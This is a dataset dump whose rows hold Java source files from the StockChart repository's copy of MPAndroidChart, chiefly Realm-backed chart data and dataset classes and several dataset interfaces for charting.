text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.ScatterData;
import com.github.mikephil.charting.data.realm.base.RealmUtils;
import com.github.mikephil.charting.interfaces.datasets.IScatterDataSet;
import java.util.List;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public class RealmScatterData extends ScatterData {
public RealmScatterData(RealmResults<? extends RealmObject> result, String xValuesField, List<IScatterDataSet> dataSets) {
super(RealmUtils.toXVals(result, xValuesField), dataSets);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmScatterData.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 154 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.BarData;
import com.github.mikephil.charting.data.realm.base.RealmUtils;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
import java.util.List;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public class RealmBarData extends BarData {
public RealmBarData(RealmResults<? extends RealmObject> result, String xValuesField, List<IBarDataSet> dataSets) {
super(RealmUtils.toXVals(result, xValuesField), dataSets);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmBarData.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 149 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.LineData;
import com.github.mikephil.charting.data.realm.base.RealmUtils;
import com.github.mikephil.charting.interfaces.datasets.ILineDataSet;
import java.util.List;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public class RealmLineData extends LineData {
public RealmLineData(RealmResults<? extends RealmObject> result, String xValuesField, List<ILineDataSet> dataSets) {
super(RealmUtils.toXVals(result, xValuesField), dataSets);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmLineData.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 150 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.PieData;
import com.github.mikephil.charting.data.realm.base.RealmUtils;
import com.github.mikephil.charting.interfaces.datasets.IPieDataSet;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public class RealmPieData extends PieData {
public RealmPieData(RealmResults<? extends RealmObject> result, String xValuesField, IPieDataSet dataSet) {
super(RealmUtils.toXVals(result, xValuesField), dataSet);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmPieData.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 140 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.PieDataSet;
import com.github.mikephil.charting.data.realm.base.RealmBaseDataSet;
import com.github.mikephil.charting.interfaces.datasets.IPieDataSet;
import com.github.mikephil.charting.utils.Utils;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 07/11/15.
*/
public class RealmPieDataSet<T extends RealmObject> extends RealmBaseDataSet<T, Entry> implements IPieDataSet {
/**
* the space in pixels between the chart-slices, default 0f
*/
private float mSliceSpace = 0f;
/**
* indicates the selection distance of a pie slice
*/
private float mShift = 18f;
private PieDataSet.ValuePosition mXValuePosition = PieDataSet.ValuePosition.INSIDE_SLICE;
private PieDataSet.ValuePosition mYValuePosition = PieDataSet.ValuePosition.INSIDE_SLICE;
private int mValueLineColor = 0xff000000;
private float mValueLineWidth = 1.0f;
private float mValueLinePart1OffsetPercentage = 75.f;
private float mValueLinePart1Length = 0.3f;
private float mValueLinePart2Length = 0.4f;
private boolean mValueLineVariableLength = true;
/**
* Constructor for creating a PieDataSet with realm data.
*
* @param result the queried results from the realm database
* @param yValuesField the name of the field in your data object that represents the y-value
*/
public RealmPieDataSet(RealmResults<T> result, String yValuesField) {
super(result, yValuesField);
build(this.results);
calcMinMax(0, results.size());
}
/**
* Constructor for creating a PieDataSet with realm data.
*
* @param result the queried results from the realm database
* @param yValuesField the name of the field in your data object that represents the y-value
* @param xIndexField the name of the field in your data object that represents the x-index
*/
public RealmPieDataSet(RealmResults<T> result, String yValuesField, String xIndexField) {
super(result, yValuesField, xIndexField);
build(this.results);
calcMinMax(0, results.size());
}
/**
* Sets the space that is left out between the piechart-slices in dp.
* Default: 0 --> no space, maximum 20f
*
* @param spaceDp
*/
public void setSliceSpace(float spaceDp) {
if (spaceDp > 20)
spaceDp = 20f;
if (spaceDp < 0)
spaceDp = 0f;
mSliceSpace = Utils.convertDpToPixel(spaceDp);
}
@Override
public float getSliceSpace() {
return mSliceSpace;
}
/**
* sets the distance the highlighted piechart-slice of this DataSet is
* "shifted" away from the center of the chart, default 12f
*
* @param shift
*/
public void setSelectionShift(float shift) {
mShift = Utils.convertDpToPixel(shift);
}
@Override
public float getSelectionShift() {
return mShift;
}
@Override
public PieDataSet.ValuePosition getXValuePosition()
{
return mXValuePosition;
}
public void setXValuePosition(PieDataSet.ValuePosition xValuePosition)
{
this.mXValuePosition = xValuePosition;
}
@Override
public PieDataSet.ValuePosition getYValuePosition()
{
return mYValuePosition;
}
public void setYValuePosition(PieDataSet.ValuePosition yValuePosition)
{
this.mYValuePosition = yValuePosition;
}
/** When valuePosition is OutsideSlice, indicates line color */
@Override
public int getValueLineColor()
{
return mValueLineColor;
}
public void setValueLineColor(int valueLineColor)
{
this.mValueLineColor = valueLineColor;
}
/** When valuePosition is OutsideSlice, indicates line width */
@Override
public float getValueLineWidth()
{
return mValueLineWidth;
}
public void setValueLineWidth(float valueLineWidth)
{
this.mValueLineWidth = valueLineWidth;
}
/** When valuePosition is OutsideSlice, indicates offset as percentage out of the slice size */
@Override
public float getValueLinePart1OffsetPercentage()
{
return mValueLinePart1OffsetPercentage;
}
public void setValueLinePart1OffsetPercentage(float valueLinePart1OffsetPercentage)
{
this.mValueLinePart1OffsetPercentage = valueLinePart1OffsetPercentage;
}
/** When valuePosition is OutsideSlice, indicates length of first half of the line */
@Override
public float getValueLinePart1Length()
{
return mValueLinePart1Length;
}
public void setValueLinePart1Length(float valueLinePart1Length)
{
this.mValueLinePart1Length = valueLinePart1Length;
}
/** When valuePosition is OutsideSlice, indicates length of second half of the line */
@Override
public float getValueLinePart2Length()
{
return mValueLinePart2Length;
}
public void setValueLinePart2Length(float valueLinePart2Length)
{
this.mValueLinePart2Length = valueLinePart2Length;
}
/** When valuePosition is OutsideSlice, this allows variable line length */
@Override
public boolean isValueLineVariableLength()
{
return mValueLineVariableLength;
}
public void setValueLineVariableLength(boolean valueLineVariableLength)
{
this.mValueLineVariableLength = valueLineVariableLength;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmPieDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,297 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.data.BubbleData;
import com.github.mikephil.charting.data.realm.base.RealmUtils;
import com.github.mikephil.charting.interfaces.datasets.IBubbleDataSet;
import java.util.List;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public class RealmBubbleData extends BubbleData {
public RealmBubbleData(RealmResults<? extends RealmObject> result, String xValuesField, List<IBubbleDataSet> dataSets) {
super(RealmUtils.toXVals(result, xValuesField), dataSets);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmBubbleData.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 150 |
```java
package com.github.mikephil.charting.data.realm.implementation;
import com.github.mikephil.charting.charts.ScatterChart;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.realm.base.RealmLineScatterCandleRadarDataSet;
import com.github.mikephil.charting.interfaces.datasets.IScatterDataSet;
import com.github.mikephil.charting.utils.ColorTemplate;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 07/11/15.
*/
public class RealmScatterDataSet<T extends RealmObject> extends RealmLineScatterCandleRadarDataSet<T, Entry> implements IScatterDataSet {
/**
* the size the scattershape will have, in density pixels
*/
private float mShapeSize = 10f;
/**
* the type of shape that is set to be drawn where the values are at,
* default ScatterShape.SQUARE
*/
private ScatterChart.ScatterShape mScatterShape = ScatterChart.ScatterShape.SQUARE;
/**
* The radius of the hole in the shape (applies to Square, Circle and Triangle)
* - default: 0.0
*/
private float mScatterShapeHoleRadius = 0f;
/**
* Color for the hole in the shape.
* Setting to `ColorTemplate.COLOR_NONE` will behave as transparent.
* - default: ColorTemplate.COLOR_NONE
*/
private int mScatterShapeHoleColor = ColorTemplate.COLOR_NONE;
/**
* Constructor for creating a ScatterDataSet with realm data.
*
* @param result the queried results from the realm database
* @param yValuesField the name of the field in your data object that represents the y-value
*/
public RealmScatterDataSet(RealmResults<T> result, String yValuesField) {
super(result, yValuesField);
build(this.results);
calcMinMax(0, results.size());
}
/**
* Constructor for creating a ScatterDataSet with realm data.
*
* @param result the queried results from the realm database
* @param yValuesField the name of the field in your data object that represents the y-value
* @param xIndexField the name of the field in your data object that represents the x-index
*/
public RealmScatterDataSet(RealmResults<T> result, String yValuesField, String xIndexField) {
super(result, yValuesField, xIndexField);
build(this.results);
calcMinMax(0, results.size());
}
/**
* Sets the size in density pixels the drawn scattershape will have. This
* only applies for non custom shapes.
*
* @param size
*/
public void setScatterShapeSize(float size) {
mShapeSize = size;
}
@Override
public float getScatterShapeSize() {
return mShapeSize;
}
/**
* Sets the shape that is drawn on the position where the values are at. If
* "CUSTOM" is chosen, you need to call setCustomScatterShape(...) and
* provide a path object that is drawn as the custom scattershape.
*
* @param shape
*/
public void setScatterShape(ScatterChart.ScatterShape shape) {
mScatterShape = shape;
}
@Override
public ScatterChart.ScatterShape getScatterShape() {
return mScatterShape;
}
/**
* Sets the radius of the hole in the shape
*
* @param holeRadius
*/
public void setScatterShapeHoleRadius(float holeRadius) {
mScatterShapeHoleRadius = holeRadius;
}
@Override
public float getScatterShapeHoleRadius() {
return mScatterShapeHoleRadius;
}
/**
* Sets the color for the hole in the shape
*
* @param holeColor
*/
public void setScatterShapeHoleColor(int holeColor) {
mScatterShapeHoleColor = holeColor;
}
@Override
public int getScatterShapeHoleColor() {
return mScatterShapeHoleColor;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/implementation/RealmScatterDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 926 |
```java
package com.github.mikephil.charting.data.realm.base;
import android.graphics.Color;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.IBarLineScatterCandleBubbleDataSet;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 08/11/15.
*/
public abstract class RealmBarLineScatterCandleBubbleDataSet<T extends RealmObject, S extends Entry> extends RealmBaseDataSet<T, S> implements IBarLineScatterCandleBubbleDataSet<S> {
/** default highlight color */
protected int mHighLightColor = Color.rgb(255, 187, 115);
public RealmBarLineScatterCandleBubbleDataSet(RealmResults<T> results, String yValuesField) {
super(results, yValuesField);
}
/**
* Constructor that takes the realm RealmResults, sorts & stores them.
*
* @param results
* @param yValuesField
* @param xIndexField
*/
public RealmBarLineScatterCandleBubbleDataSet(RealmResults<T> results, String yValuesField, String xIndexField) {
super(results, yValuesField, xIndexField);
}
/**
* Sets the color that is used for drawing the highlight indicators. Dont
* forget to resolve the color using getResources().getColor(...) or
* Color.rgb(...).
*
* @param color
*/
public void setHighLightColor(int color) {
mHighLightColor = color;
}
@Override
public int getHighLightColor() {
return mHighLightColor;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/base/RealmBarLineScatterCandleBubbleDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 358 |
```java
package com.github.mikephil.charting.data.realm.base;
import android.graphics.DashPathEffect;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.ILineScatterCandleRadarDataSet;
import com.github.mikephil.charting.utils.Utils;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 08/11/15.
*/
public abstract class RealmLineScatterCandleRadarDataSet<T extends RealmObject, S extends Entry> extends RealmBarLineScatterCandleBubbleDataSet<T, S> implements ILineScatterCandleRadarDataSet<S> {
protected boolean mDrawVerticalHighlightIndicator = true;
protected boolean mDrawHorizontalHighlightIndicator = true;
/** the width of the highlight indicator lines */
protected float mHighlightLineWidth = 0.5f;
/** the path effect for dashed highlight-lines */
protected DashPathEffect mHighlightDashPathEffect = null;
public RealmLineScatterCandleRadarDataSet(RealmResults<T> results, String yValuesField) {
super(results, yValuesField);
}
/**
* Constructor that takes the realm RealmResults, sorts & stores them.
*
* @param results
* @param yValuesField
* @param xIndexField
*/
public RealmLineScatterCandleRadarDataSet(RealmResults<T> results, String yValuesField, String xIndexField) {
super(results, yValuesField, xIndexField);
}
/**
* Enables / disables the horizontal highlight-indicator. If disabled, the indicator is not drawn.
* @param enabled
*/
public void setDrawHorizontalHighlightIndicator(boolean enabled) {
this.mDrawHorizontalHighlightIndicator = enabled;
}
/**
* Enables / disables the vertical highlight-indicator. If disabled, the indicator is not drawn.
* @param enabled
*/
public void setDrawVerticalHighlightIndicator(boolean enabled) {
this.mDrawVerticalHighlightIndicator = enabled;
}
/**
* Enables / disables both vertical and horizontal highlight-indicators.
* @param enabled
*/
public void setDrawHighlightIndicators(boolean enabled) {
setDrawVerticalHighlightIndicator(enabled);
setDrawHorizontalHighlightIndicator(enabled);
}
@Override
public boolean isVerticalHighlightIndicatorEnabled() {
return mDrawVerticalHighlightIndicator;
}
@Override
public boolean isHorizontalHighlightIndicatorEnabled() {
return mDrawHorizontalHighlightIndicator;
}
/**
* Sets the width of the highlight line in dp.
* @param width
*/
public void setHighlightLineWidth(float width) {
mHighlightLineWidth = Utils.convertDpToPixel(width);
}
@Override
public float getHighlightLineWidth() {
return mHighlightLineWidth;
}
/**
* Enables the highlight-line to be drawn in dashed mode, e.g. like this "- - - - - -"
*
* @param lineLength the length of the line pieces
* @param spaceLength the length of space inbetween the line-pieces
* @param phase offset, in degrees (normally, use 0)
*/
public void enableDashedHighlightLine(float lineLength, float spaceLength, float phase) {
mHighlightDashPathEffect = new DashPathEffect(new float[] {
lineLength, spaceLength
}, phase);
}
/**
* Disables the highlight-line to be drawn in dashed mode.
*/
public void disableDashedHighlightLine() {
mHighlightDashPathEffect = null;
}
/**
* Returns true if the dashed-line effect is enabled for highlight lines, false if not.
* Default: disabled
*
* @return
*/
public boolean isDashedHighlightLineEnabled() {
return mHighlightDashPathEffect == null ? false : true;
}
@Override
public DashPathEffect getDashPathEffectHighlight() {
return mHighlightDashPathEffect;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/base/RealmLineScatterCandleRadarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 860 |
```java
package com.github.mikephil.charting.data.realm.base;
import java.util.ArrayList;
import java.util.List;
import io.realm.DynamicRealmObject;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 19/12/15.
*/
public final class RealmUtils {
/**
* Prevent class instantiation.
*/
private RealmUtils() {
}
/**
* Transforms the given Realm-ResultSet into a String array by using the provided xValuesField.
*
* @param result
* @param xValuesField
* @return
*/
public static List<String> toXVals(RealmResults<? extends RealmObject> result, String xValuesField) {
List<String> xVals = new ArrayList<>();
for (RealmObject object : result) {
DynamicRealmObject dynamicObject = new DynamicRealmObject(object);
xVals.add(dynamicObject.getString(xValuesField));
}
return xVals;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/base/RealmUtils.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 209 |
```java
package com.github.mikephil.charting.data.realm.base;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.ILineRadarDataSet;
import com.github.mikephil.charting.utils.Utils;
import io.realm.RealmObject;
import io.realm.RealmResults;
/**
* Created by Philipp Jahoda on 08/11/15.
*/
public abstract class RealmLineRadarDataSet<T extends RealmObject> extends RealmLineScatterCandleRadarDataSet<T, Entry> implements ILineRadarDataSet<Entry> {
/** the color that is used for filling the line surface */
private int mFillColor = Color.rgb(140, 234, 255);
/** the drawable to be used for filling the line surface*/
protected Drawable mFillDrawable;
/** transparency used for filling line surface */
private int mFillAlpha = 85;
/** the width of the drawn data lines */
private float mLineWidth = 2.5f;
/** if true, the data will also be drawn filled */
private boolean mDrawFilled = false;
public RealmLineRadarDataSet(RealmResults<T> results, String yValuesField) {
super(results, yValuesField);
}
/**
* Constructor that takes the realm RealmResults, sorts & stores them.
*
* @param results
* @param yValuesField
* @param xIndexField
*/
public RealmLineRadarDataSet(RealmResults<T> results, String yValuesField, String xIndexField) {
super(results, yValuesField, xIndexField);
}
@Override
public int getFillColor() {
return mFillColor;
}
/**
* sets the color that is used for filling the line surface
*
* @param color
*/
public void setFillColor(int color) {
mFillColor = color;
mFillDrawable = null;
}
@Override
public Drawable getFillDrawable() {
return mFillDrawable;
}
/**
* Sets the drawable to be used to fill the area below the line.
*
* @param drawable
*/
public void setFillDrawable(Drawable drawable) {
this.mFillDrawable = drawable;
}
@Override
public int getFillAlpha() {
return mFillAlpha;
}
/**
* sets the alpha value (transparency) that is used for filling the line
* surface (0-255), default: 85
*
* @param alpha
*/
public void setFillAlpha(int alpha) {
mFillAlpha = alpha;
}
/**
* set the line width of the chart (min = 0.2f, max = 10f); default 1f NOTE:
* thinner line == better performance, thicker line == worse performance
*
* @param width
*/
public void setLineWidth(float width) {
if (width < 0.2f)
width = 0.2f;
if (width > 10.0f)
width = 10.0f;
mLineWidth = Utils.convertDpToPixel(width);
}
@Override
public float getLineWidth() {
return mLineWidth;
}
@Override
public void setDrawFilled(boolean filled) {
mDrawFilled = filled;
}
@Override
public boolean isDrawFilledEnabled() {
return mDrawFilled;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/base/RealmLineRadarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 756 |
```java
package com.github.mikephil.charting.data.realm.base;
import com.github.mikephil.charting.data.BaseDataSet;
import com.github.mikephil.charting.data.DataSet;
import com.github.mikephil.charting.data.Entry;
import java.util.ArrayList;
import java.util.List;
import io.realm.DynamicRealmObject;
import io.realm.RealmObject;
import io.realm.RealmResults;
import io.realm.Sort;
/**
* Created by Philipp Jahoda on 06/11/15.
*/
public abstract class RealmBaseDataSet<T extends RealmObject, S extends Entry> extends BaseDataSet<S> {
/**
* a list of queried realm objects
*/
protected RealmResults<T> results;
/**
* a cached list of all data read from the database
*/
protected List<S> mValues;
/**
* maximum y-value in the y-value array
*/
protected float mYMax = 0.0f;
/**
* the minimum y-value in the y-value array
*/
protected float mYMin = 0.0f;
/**
* fieldname of the column that contains the y-values of this dataset
*/
protected String mValuesField;
/**
* fieldname of the column that contains the x-indices of this dataset
*/
protected String mIndexField;
public RealmBaseDataSet(RealmResults<T> results, String yValuesField) {
this.results = results;
this.mValuesField = yValuesField;
this.mValues = new ArrayList<>();
if (mIndexField != null)
this.results.sort(mIndexField, Sort.ASCENDING);
}
/**
* Constructor that takes the realm RealmResults, sorts & stores them.
*
* @param results
* @param yValuesField
* @param xIndexField
*/
public RealmBaseDataSet(RealmResults<T> results, String yValuesField, String xIndexField) {
this.results = results;
this.mValuesField = yValuesField;
this.mIndexField = xIndexField;
this.mValues = new ArrayList<>();
if (mIndexField != null)
this.results.sort(mIndexField, Sort.ASCENDING);
}
/**
* Rebuilds the DataSet based on the given RealmResults.
*/
public void build(RealmResults<T> results) {
int xIndex = 0;
for (T object : results) {
mValues.add(buildEntryFromResultObject(object, xIndex++));
}
}
public S buildEntryFromResultObject(T realmObject, int xIndex) {
DynamicRealmObject dynamicObject = new DynamicRealmObject(realmObject);
return (S)new Entry(dynamicObject.getFloat(mValuesField),
mIndexField == null ? xIndex : dynamicObject.getInt(mIndexField));
}
@Override
public float getYMin() {
//return results.min(mValuesField).floatValue();
return mYMin;
}
@Override
public float getYMax() {
//return results.max(mValuesField).floatValue();
return mYMax;
}
@Override
public int getEntryCount() {
return mValues.size();
}
@Override
public void calcMinMax(int start, int end) {
if (mValues == null)
return;
final int yValCount = mValues.size();
if (yValCount == 0)
return;
int endValue;
if (end == 0 || end >= yValCount)
endValue = yValCount - 1;
else
endValue = end;
mYMin = Float.MAX_VALUE;
mYMax = -Float.MAX_VALUE;
for (int i = start; i <= endValue; i++) {
S e = mValues.get(i);
if (e != null && !Float.isNaN(e.getVal())) {
if (e.getVal() < mYMin)
mYMin = e.getVal();
if (e.getVal() > mYMax)
mYMax = e.getVal();
}
}
if (mYMin == Float.MAX_VALUE) {
mYMin = 0.f;
mYMax = 0.f;
}
}
@Override
public S getEntryForXIndex(int xIndex) {
//DynamicRealmObject o = new DynamicRealmObject(results.where().equalTo(mIndexField, xIndex).findFirst());
//return new Entry(o.getFloat(mValuesField), o.getInt(mIndexField));
return getEntryForXIndex(xIndex, DataSet.Rounding.CLOSEST);
}
@Override
public S getEntryForXIndex(int xIndex, DataSet.Rounding rounding) {
int index = getEntryIndex(xIndex, rounding);
if (index > -1)
return mValues.get(index);
return null;
}
@Override
public List<S> getEntriesForXIndex(int xIndex) {
List<S> entries = new ArrayList<>();
if (mIndexField == null) {
T object = results.get(xIndex);
if (object != null)
entries.add(buildEntryFromResultObject(object, xIndex));
} else {
RealmResults<T> foundObjects = results.where().equalTo(mIndexField, xIndex).findAll();
for (T e : foundObjects)
entries.add(buildEntryFromResultObject(e, xIndex));
}
return entries;
}
@Override
public S getEntryForIndex(int index) {
//DynamicRealmObject o = new DynamicRealmObject(results.get(index));
//return new Entry(o.getFloat(mValuesField), o.getInt(mIndexField));
return mValues.get(index);
}
@Override
public int getEntryIndex(int x, DataSet.Rounding rounding) {
int low = 0;
int high = mValues.size() - 1;
int closest = -1;
while (low <= high) {
int m = (high + low) / 2;
S entry = mValues.get(m);
if (x == entry.getXIndex()) {
while (m > 0 && mValues.get(m - 1).getXIndex() == x)
m--;
return m;
}
if (x > entry.getXIndex())
low = m + 1;
else
high = m - 1;
closest = m;
}
if (closest != -1) {
int closestXIndex = mValues.get(closest).getXIndex();
if (rounding == DataSet.Rounding.UP) {
if (closestXIndex < x && closest < mValues.size() - 1) {
++closest;
}
} else if (rounding == DataSet.Rounding.DOWN) {
if (closestXIndex > x && closest > 0) {
--closest;
}
}
}
return closest;
}
@Override
public int getEntryIndex(S e) {
return mValues.indexOf(e);
}
@Override
public float getYValForXIndex(int xIndex) {
//return new DynamicRealmObject(results.where().greaterThanOrEqualTo(mIndexField, xIndex).findFirst()).getFloat(mValuesField);
Entry e = getEntryForXIndex(xIndex);
if (e != null && e.getXIndex() == xIndex)
return e.getVal();
else
return Float.NaN;
}
@Override
public float[] getYValsForXIndex(int xIndex) {
List<S> entries = getEntriesForXIndex(xIndex);
float[] yVals = new float[entries.size()];
int i = 0;
for (S e : entries)
yVals[i++] = e.getVal();
return yVals;
}
@Override
public boolean addEntry(S e) {
if (e == null)
return false;
float val = e.getVal();
if (mValues == null) {
mValues = new ArrayList<>();
}
if (mValues.isEmpty()) {
mYMax = val;
mYMin = val;
} else {
if (mYMax < val)
mYMax = val;
if (mYMin > val)
mYMin = val;
}
// add the entry
mValues.add(e);
return true;
}
@Override
public boolean removeEntry(S e) {
if (e == null)
return false;
if (mValues == null)
return false;
// remove the entry
boolean removed = mValues.remove(e);
if (removed) {
calcMinMax(0, mValues.size());
}
return removed;
}
@Override
public void addEntryOrdered(S e) {
if (e == null)
return;
float val = e.getVal();
if (mValues == null) {
mValues = new ArrayList<>();
}
if (mValues.isEmpty()) {
mYMax = val;
mYMin = val;
} else {
if (mYMax < val)
mYMax = val;
if (mYMin > val)
mYMin = val;
}
if (!mValues.isEmpty() && mValues.get(mValues.size() - 1).getXIndex() > e.getXIndex()) {
int closestIndex = getEntryIndex(e.getXIndex(), DataSet.Rounding.UP);
mValues.add(closestIndex, e);
return;
}
mValues.add(e);
}
/**
* Returns the List of values that has been extracted from the RealmResults
* using the provided fieldnames.
*
* @return
*/
public List<S> getValues() {
return mValues;
}
@Override
public void clear() {
mValues.clear();
notifyDataSetChanged();
}
public RealmResults<T> getResults() {
return results;
}
/**
* Returns the fieldname that represents the "y-values" in the realm-data.
*
* @return
*/
public String getValuesField() {
return mValuesField;
}
/**
* Sets the field name that is used for getting the y-values out of the RealmResultSet.
*
* @param yValuesField
*/
public void setValuesField(String yValuesField) {
this.mValuesField = yValuesField;
}
/**
* Returns the fieldname that represents the "x-index" in the realm-data.
*
* @return
*/
public String getIndexField() {
return mIndexField;
}
/**
* Sets the field name that is used for getting the x-indices out of the RealmResultSet.
*
* @param xIndexField
*/
public void setIndexField(String xIndexField) {
this.mIndexField = xIndexField;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/data/realm/base/RealmBaseDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,340 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.data.BarEntry;
/**
* Created by philipp on 21/10/15.
*/
public interface IBarDataSet extends IBarLineScatterCandleBubbleDataSet<BarEntry> {
/**
* Returns the space between bars as the actual value (0 - 1.0f)
*
* @return
*/
float getBarSpace();
/**
* Returns true if this DataSet is stacked (stacksize > 1) or not.
*
* @return
*/
boolean isStacked();
/**
* Returns the maximum number of bars that can be stacked upon another in
* this DataSet. This should return 1 for non stacked bars, and > 1 for stacked bars.
*
* @return
*/
int getStackSize();
/**
* Returns the color used for drawing the bar-shadows. The bar shadows is a
* surface behind the bar that indicates the maximum value.
*
* @return
*/
int getBarShadowColor();
/**
* Returns the width used for drawing borders around the bars.
* If borderWidth == 0, no border will be drawn.
*
* @return
*/
float getBarBorderWidth();
/**
* Returns the color drawing borders around the bars.
*
* @return
*/
int getBarBorderColor();
/**
* Returns the alpha value (transparency) that is used for drawing the
* highlight indicator.
*
* @return
*/
int getHighLightAlpha();
/**
* Returns the labels used for the different value-stacks in the legend.
* This is only relevant for stacked bar entries.
*
* @return
*/
String[] getStackLabels();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IBarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 395 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import android.graphics.DashPathEffect;
import com.github.mikephil.charting.data.Entry;
/**
* Created by Philipp Jahoda on 21/10/15.
*/
public interface ILineScatterCandleRadarDataSet<T extends Entry> extends IBarLineScatterCandleBubbleDataSet<T> {
/**
* Returns true if vertical highlight indicator lines are enabled (drawn)
* @return
*/
boolean isVerticalHighlightIndicatorEnabled();
/**
* Returns true if vertical highlight indicator lines are enabled (drawn)
* @return
*/
boolean isHorizontalHighlightIndicatorEnabled();
/**
* Returns the line-width in which highlight lines are to be drawn.
* @return
*/
float getHighlightLineWidth();
/**
* Returns the DashPathEffect that is used for highlighting.
* @return
*/
DashPathEffect getDashPathEffectHighlight();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/ILineScatterCandleRadarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 202 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.PieDataSet;
/**
* Created by Philipp Jahoda on 03/11/15.
*/
public interface IPieDataSet extends IDataSet<Entry> {
/**
* Returns the space that is set to be between the piechart-slices of this
* DataSet, in pixels.
*
* @return
*/
float getSliceSpace();
/**
* Returns the distance a highlighted piechart slice is "shifted" away from
* the chart-center in dp.
*
* @return
*/
float getSelectionShift();
PieDataSet.ValuePosition getXValuePosition();
PieDataSet.ValuePosition getYValuePosition();
/**
* When valuePosition is OutsideSlice, indicates line color
* */
int getValueLineColor();
/**
* When valuePosition is OutsideSlice, indicates line width
* */
float getValueLineWidth();
/**
* When valuePosition is OutsideSlice, indicates offset as percentage out of the slice size
* */
float getValueLinePart1OffsetPercentage();
/**
* When valuePosition is OutsideSlice, indicates length of first half of the line
* */
float getValueLinePart1Length();
/**
* When valuePosition is OutsideSlice, indicates length of second half of the line
* */
float getValueLinePart2Length();
/**
* When valuePosition is OutsideSlice, this allows variable line length
* */
boolean isValueLineVariableLength();
}
